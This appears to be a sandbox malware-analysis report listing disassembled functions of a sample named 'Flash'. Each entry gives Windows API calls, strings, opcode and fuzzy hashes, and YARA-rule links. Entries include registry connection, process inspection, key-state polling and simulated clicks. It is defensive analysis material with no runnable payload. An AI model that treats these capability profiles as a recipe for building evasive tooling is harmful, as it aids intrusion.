Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: fd4929ef83e9673fc0b9c3e14ee0d4e79eeac9efcb9e986d2b43ab67ba8ae7df
Instruction ID: 202c6b7215cd407780c5cfbad13d4f1295dd7d75b47aa1b124adbd79dc667746
Opcode Fuzzy Hash: fd4929ef83e9673fc0b9c3e14ee0d4e79eeac9efcb9e986d2b43ab67ba8ae7df
Instruction Fuzzy Hash: B3210175901104BEDB14EBA8EC46DFFB77CDF85360F104129F821932E1DB740D868620

Function 00A56A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 009D2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 009D214F
Part of subcall function 009D2111: GetStockObject.GDI32(00000011), ref: 009D2163
Part of subcall function 009D2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 009D216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00A56A86
LoadLibraryW.KERNEL32(?), ref: 00A56A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00A56AA2
DestroyWindow.USER32(?), ref: 00A56AAA

Strings

SysAnimate32, xrefs: 00A56A61

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 49aa6f5de2d2e850c2770c4b611750565bcec911b6dcdc4c31802fd95470a353
Instruction ID: bae1cc4146aa21fdcb43d703358a2c9e9363b7207ab03011a8ebc92960d841dc
Opcode Fuzzy Hash: 49aa6f5de2d2e850c2770c4b611750565bcec911b6dcdc4c31802fd95470a353
Instruction Fuzzy Hash: C0218B71200205AFEF208FA4DC80EBB77B9FB593A5F908619FF51A31A0D7719C959760

Function 00A37357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00A37377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A373AA
GetStdHandle.KERNEL32(0000000C), ref: 00A373BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00A373F6

Strings

nul, xrefs: 00A373F1

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 6f38a85977996ea877593183ee8bf56efecf4fb8e8a6a60dcf181a6f40caa06c
Instruction ID: 3ce3c5a29caadc68e0847cae960498ea64ae047574a34dcb6ba3990193ee0fe6
Opcode Fuzzy Hash: 6f38a85977996ea877593183ee8bf56efecf4fb8e8a6a60dcf181a6f40caa06c
Instruction Fuzzy Hash: 232192B450830AABDB309F68DC05E9E7BB4AF55720F204A19FDA1DB2D0D7B0D855DB50

Function 00A37425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00A37444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A37476
GetStdHandle.KERNEL32(000000F6), ref: 00A37487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00A374C1

Strings

nul, xrefs: 00A374BC

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: cde4b9328907d436d0a063bfe4e36d2fdc7435bc02b123c3c603d9a771fa7856
Instruction ID: 7196790f2bd72e908148737aa80ec0d32270f68e4b46cb14d97829204c1286ae
Opcode Fuzzy Hash: cde4b9328907d436d0a063bfe4e36d2fdc7435bc02b123c3c603d9a771fa7856
Instruction Fuzzy Hash: 6B21A4B15083059BDB309F689C45E9E7BB8AF55730F204B19F9A1D72D0D770E891CB50

Function 00A3B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A3B297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00A3B2EB
__swprintf.LIBCMT ref: 00A3B304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00A60980), ref: 00A3B342

Strings

%lu, xrefs: 00A3B2FE

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 3ad0797175668c2b46eecd8660bf3899a5ec19b42b96eecec7cb31cdfe2915f5
Instruction ID: cf81f375b031f3eac1f9d4c22d1291be2d3761974e236258c0ef88102d750285
Opcode Fuzzy Hash: 3ad0797175668c2b46eecd8660bf3899a5ec19b42b96eecec7cb31cdfe2915f5
Instruction Fuzzy Hash: 6D217130A00108AFCB10EFA5C985EAFB7B8EF89704F108469F905DB352DB71EA45CB61

Function 00A2AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Part of subcall function 00A2AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00A2AA6F
Part of subcall function 00A2AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A2AA82
Part of subcall function 00A2AA52: GetCurrentThreadId.KERNEL32 ref: 00A2AA89
Part of subcall function 00A2AA52: AttachThreadInput.USER32(00000000), ref: 00A2AA90

GetFocus.USER32 ref: 00A2AC2A

Part of subcall function 00A2AA9B: GetParent.USER32(?), ref: 00A2AAA9

GetClassNameW.USER32(?,?,00000100), ref: 00A2AC73
EnumChildWindows.USER32(?,00A2ACEB), ref: 00A2AC9B
__swprintf.LIBCMT ref: 00A2ACB5

Strings

%s%d, xrefs: 00A2ACAF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 6eede5f4304bbaa9ed8afb212fce517790fdf57802f670ea78ca322c7ba51329
Instruction ID: 2e963c67e3dc8de56a31ee75896b0531fc9d86715bd51745467d24d8031037a2
Opcode Fuzzy Hash: 6eede5f4304bbaa9ed8afb212fce517790fdf57802f670ea78ca322c7ba51329
Instruction Fuzzy Hash: A6110375600215BBDF11BFA4EE85FEA777CAF98300F004075FE08AA182DAB05945CB71

Function 00A322E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A32318

Strings

APPEND, xrefs: 00A32351
KEYS, xrefs: 00A3232F
REMOVE, xrefs: 00A3231E
EXISTS, xrefs: 00A32340

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 08a2b0a89ac2f92d8f018cb129769c9b3076dfb3b5e7a40198acd3d8c335e272
Instruction ID: 3fec91dc6d1e3b25799bff8b75ac1c7e6390d1f58475577ba5ef2308edf559bd
Opcode Fuzzy Hash: 08a2b0a89ac2f92d8f018cb129769c9b3076dfb3b5e7a40198acd3d8c335e272
Instruction Fuzzy Hash: B8118E3095021C9FCF00EF94D890AFEB7B8FF55304F108568E814AB2A2EB325D0ACB50

Function 00A4F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00A4F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00A4F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00A4F453
CloseHandle.KERNEL32(?), ref: 00A4F4D4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 7da573567b0c9614be44bf41eac9c2e97f836e94d63c11d6cccc8aa5eacd0db5
Instruction ID: 002979a938d17ef980c4fb6900f5abe7aff44a1de50e37d6ce02dc1bcff56ee5
Opcode Fuzzy Hash: 7da573567b0c9614be44bf41eac9c2e97f836e94d63c11d6cccc8aa5eacd0db5
Instruction Fuzzy Hash: 1F8171756447009FD720EF68D846F2AB7E5AF88710F14891EF999DB3D2DBB0AC408B91

Function 00A50697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 00A5147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A5040D,?,?), ref: 00A51491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A5075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A5079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00A507E3
RegCloseKey.ADVAPI32(?,?), ref: 00A5080F
RegCloseKey.ADVAPI32(00000000), ref: 00A5081C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: cc009037aa626d7020ceff9a37bc35a2cb88f208a4044216d20bf974908e2e38
Instruction ID: f69c905e58fd77a00b52285f4ee026f505db7935253b5695ebae04eb12daf321
Opcode Fuzzy Hash: cc009037aa626d7020ceff9a37bc35a2cb88f208a4044216d20bf974908e2e38
Instruction Fuzzy Hash: 1A513A71208244AFD714EF64C881F6BB7F9BF88305F04892DF995872A1DB70E949CB92

Function 00A3EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00A3EC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00A3EC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00A3ECCA

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00A3ECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00A3ECF7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 1cbc9f564f44e34f217609ef3f858dfc361ddfe6ead4183888c7fb93be241884
Instruction ID: 5203aca0ccca09b2ab94da49ffb28081b0cb89d038e1820a841db5d61cda6941
Opcode Fuzzy Hash: 1cbc9f564f44e34f217609ef3f858dfc361ddfe6ead4183888c7fb93be241884
Instruction Fuzzy Hash: 7A51FA35A00509DFCB01EFA5C985AAEBBF5EF48314B148095E949AB3A2CB31AD51DF50

Function 00A5A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baa63eed69418f379242eb077757a98419e551909dec67765fbb07775c29d6c2
Instruction ID: 18f64de1f9a6e18e86a7dc0011147d501698861459d7332ffd05d121321c7ea4
Opcode Fuzzy Hash: baa63eed69418f379242eb077757a98419e551909dec67765fbb07775c29d6c2
Instruction Fuzzy Hash: B741C135B00104AFD710DB68CC88FAABBB4BB2D352F144265FC16E72D1D770AE45DA61

Function 009D2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 009D2727
ScreenToClient.USER32(00A977B0,?), ref: 009D2744
GetAsyncKeyState.USER32(00000001), ref: 009D2769
GetAsyncKeyState.USER32(00000002), ref: 009D2777

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 7df08962ee79c3b4bee84c61aa8d3a92a2c6eefc993bad76a6d9df935c814293
Instruction ID: f88fa285fdd6398f643f98c2acce00c907f2ae1e3cde40d701753459d6064296
Opcode Fuzzy Hash: 7df08962ee79c3b4bee84c61aa8d3a92a2c6eefc993bad76a6d9df935c814293
Instruction Fuzzy Hash: B5415D75504119FFDF299FA8C844AE9FB74BB19334F10835AF829A62D0C730AD94DB91

Function 00A295D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00A295E8
PostMessageW.USER32(?,00000201,00000001), ref: 00A29692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00A2969A
PostMessageW.USER32(?,00000202,00000000), ref: 00A296A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00A296B0

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: cba3f8a518812493760f60011b89d1ffb1cfc58fc07a6bfd872c5a248f06a103
Instruction ID: c0a5d23413ee9330440bd7a795555b57903802d96767b50e346f1c78375271c1
Opcode Fuzzy Hash: cba3f8a518812493760f60011b89d1ffb1cfc58fc07a6bfd872c5a248f06a103
Instruction Fuzzy Hash: FE31CC71900229EFDB14CFACE94CA9F3BB5FB45715F104229F924AB2D0C3B49964DB90

Function 00A2BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00A2BD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00A2BDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00A2BDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00A2BE18
_wcsstr.LIBCMT ref: 00A2BE22

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 488205845e6b5072d2366c62fdcdc5356d0174665dafa2ced2829f88febf4c57
Instruction ID: e2689fd1fcabaadbc31459e3a51e934b9ef2276163d1333644e40d5c885f4c7d
Opcode Fuzzy Hash: 488205845e6b5072d2366c62fdcdc5356d0174665dafa2ced2829f88febf4c57
Instruction Fuzzy Hash: C421F832214114BFEB259B79EC09EBB7BADDF84760F114039FD05DA191EBA19C4193B0

Function 00A5B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

GetWindowLongW.USER32(?,000000F0), ref: 00A5B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00A5B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00A5B841
GetSystemMetrics.USER32(00000004), ref: 00A5B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00A4155C,00000000), ref: 00A5B888

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: c2d90ca97e263d3fcc42560935c970ccf791c9cf9f56989778c78ca6bed9b2c1
Instruction ID: 1fde2321ab3c59536f1ec81d74f64e81520cfc7debf7c2b5ace52902d7458163
Opcode Fuzzy Hash: c2d90ca97e263d3fcc42560935c970ccf791c9cf9f56989778c78ca6bed9b2c1
Instruction Fuzzy Hash: 00219171A24215AFCB109F788C48B6A3BA8FB05727F104729FD22D61E0D7709855CBA0

Function 00A46138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00A46159
GetForegroundWindow.USER32 ref: 00A46170
GetDC.USER32(00000000), ref: 00A461AC
GetPixel.GDI32(00000000,?,00000003), ref: 00A461B8
ReleaseDC.USER32(00000000,00000003), ref: 00A461F3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: c7fc02b5d4daec4e7232ca50520bd05df5f6fa5709f00b0832516dfa2a003472
Instruction ID: cac33092b4bd449039bc45644a2c8cc129dc22cbae0b37a5ceddb18013687296
Opcode Fuzzy Hash: c7fc02b5d4daec4e7232ca50520bd05df5f6fa5709f00b0832516dfa2a003472
Instruction Fuzzy Hash: A821A475A002049FD704EFA9DD84E9AB7F5EF89311F04C469F84A97362CA74AC41CB90

Function 009D16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009D1729
SelectObject.GDI32(?,00000000), ref: 009D1738
BeginPath.GDI32(?), ref: 009D174F
SelectObject.GDI32(?,00000000), ref: 009D1778

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 7f26ce35d3d85ccc809bc27ef1e0f0bb1e345612caa092f134b7371bff8d95d9
Instruction ID: 59c2e8fbfeaf0e2199d096542a314172533c1bc139fcc9cec533f8d4cd278c70
Opcode Fuzzy Hash: 7f26ce35d3d85ccc809bc27ef1e0f0bb1e345612caa092f134b7371bff8d95d9
Instruction Fuzzy Hash: 11213031A64208FBDB11DFA4ED48B6E7BB9A710351F14C217F815962B0DBB199D3CBA0

Function 00A2C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00A2C84C
_memcmp.LIBCMT ref: 00A2C86A
_memcmp.LIBCMT ref: 00A2C87D
_memcmp.LIBCMT ref: 00A2C895
_memcmp.LIBCMT ref: 00A2C8AD

Memory Dump Source

